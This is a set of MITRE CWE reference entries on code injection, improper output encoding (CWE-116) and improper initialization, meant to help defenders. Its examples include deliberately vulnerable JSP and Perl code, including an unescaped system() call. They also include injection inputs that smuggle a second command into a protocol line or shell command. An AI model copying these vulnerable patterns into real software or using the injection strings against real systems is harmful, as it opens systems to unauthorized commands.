Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Research Gap

Many of these weaknesses are under-studied and under-researched, and terminology is not sufficiently precise.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCODECode Evaluation and Injection
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Research_Gaps, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Code Injection
2009-05-27Failure to Control Generation of Code (aka 'Code Injection')
2011-03-29Failure to Control Generation of Code ('Code Injection')

CWE-116: Improper Encoding or Escaping of Output

Weakness ID: 116
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
+ Extended Description

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

+ Alternate Terms
Output Sanitization
Output Validation
Output Encoding
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.117Improper Output Neutralization for Logs
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.644Improper Neutralization of HTTP Headers for Scripting Syntax
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.838Inappropriate Encoding for Output Context
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.838Inappropriate Encoding for Output Context
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Often Prevalent)

Technologies

Database Server (Often Prevalent)

Web Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.
Confidentiality

Technical Impact: Bypass Protection Mechanism

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code displays an email address that was submitted as part of a form.

(bad code)
Example Language: JSP 
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

Example 2

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

First let's look at the back end command processor code

(bad code)
Example Language: Perl 
$inputString = readLineFromFileHandle($serverFH);

# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);

foreach $cmd (@commands) {

# separate the operator from its arguments based on a single whitespace
($operator, $args) = split(/ /, $cmd, 2);

$args = UrlDecode($args);
if ($operator eq "BAN") {
ExecuteBan($args);
}
elsif ($operator eq "SAY") {
ExecuteSay($args);
}
}

The front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

(bad code)
Example Language: Perl 
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);

# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+/ /gs;

$argstr = UrlEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
die "Error: you are not the admin.\n";
}

# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");

print $fh "$cmd $argstr\n";

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UrlEncode function could leave the "|" character intact. If an attacker provides:

(attack code)
 
SAY hello world|BAN user12

then the front end will see this is a "SAY" command, and the $argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

(result)
 
SAY hello%20world|BAN%20user12

The back end, however, will treat these as two separate commands:

(result)
 
SAY hello world
BAN user12

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

Example 3

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

(bad code)
Example Language: Perl 
sub GetUntrustedInput {
return($ARGV[0]);
}

sub encode {
my($str) = @_;
$str =~ s/\&/\&amp;/gs;
$str =~ s/\"/\&quot;/gs;
$str =~ s/\'/\&apos;/gs;
$str =~ s/\</\&lt;/gs;
$str =~ s/\>/\&gt;/gs;
return($str);
}

sub doit {
my $uname = encode(GetUntrustedInput("username"));
print "<b>Welcome, $uname!</b><p>\n";
system("cd /home/$uname; /bin/ls -l");
}

The programmer attempts to encode dangerous characters, however the denylist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

(attack code)
 
' pwd

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

+ Observed Examples
ReferenceDescription
OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed.
Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
SQL injection via password parameter; a strong password might contain "&"
Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters.
Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

Phases: Architecture and Design; Implementation

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

Phase: Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

Phase: Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

Phase: Requirements

Fully specify which encodings are required by components that will be communicating with each other.

Phase: Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness: Moderate

Note: This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.845The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1134SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
+ Notes

Relationship

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Research Gap

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

Terminology

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. The concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Theoretical

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC22Improper Output Handling
The CERT Oracle Secure Coding Standard for Java (2011)IDS00-JExactSanitize untrusted data passed across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)IDS05-JUse a subset of ASCII for file and path names
SEI CERT Oracle Coding Standard for JavaIDS00-JImprecisePrevent SQL injection
SEI CERT Perl Coding StandardIDS33-PLExactSanitize untrusted data passed across a trust boundary
+ References
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-46] Joshbw. "Output Sanitization". 2008-09-18. <http://www.analyticalengine.net/archives/58>.
[REF-47] Niyaz PK. "Sanitizing user data: How and where to do it". 2008-09-11. <http://www.diovo.com/2008/09/sanitizing-user-data-how-and-where-to-do-it/>.
[REF-48] Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. <http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html>.
[REF-49] Jim Manico. "Input Validation - Not That Important". 2008-08-10. <http://manicode.blogspot.com/2008/08/input-validation-not-that-important.html>.
[REF-50] Michael Eddington. "Preventing XSS with Correct Output Encoding". <http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Canonical Representation Issues" Page 363. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Name, Relationships
2009-01-12CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes, Theoretical_Notes
2009-03-10CWE Content TeamMITRE
updated Description, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Relationship_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated References
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, References, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Relationships, Terminology_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Output Validation
2008-09-09Incorrect Output Sanitization
2009-01-12Insufficient Output Sanitization

CWE-665: Improper Initialization

Weakness ID: 665
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
+ Extended Description
This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.454External Initialization of Trusted Variables or Data Stores
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.455Non-exit on Failed Initialization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.908Use of Uninitialized Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.909Missing Initialization of Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1051Initialization with Hard-Coded Network Resource Configuration Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1052Excessive Use of Hard-Coded Literals in Initialization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1188Insecure Default Initialization of Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1221Incorrect Register Defaults or Module Parameters
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1271Uninitialized Value on Reset for Registers Holding Security Settings
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1279Cryptographic Operations are run Before Supporting Units are Ready
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.908Use of Uninitialized Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.909Missing Initialization of Resource
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1188Insecure Default Initialization of Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.457Use of Uninitialized Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.456Missing Initialization of a Variable
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.457Use of Uninitialized Variable
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis weakness can occur in code paths that are not well-tested, such as rare error conditions. This is because the use of uninitialized data would be noticed as a bug during frequently-used functionality.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory; Read Application Data

When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.
Access Control

Technical Impact: Bypass Protection Mechanism

If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.
+ Likelihood Of Exploit
Medium
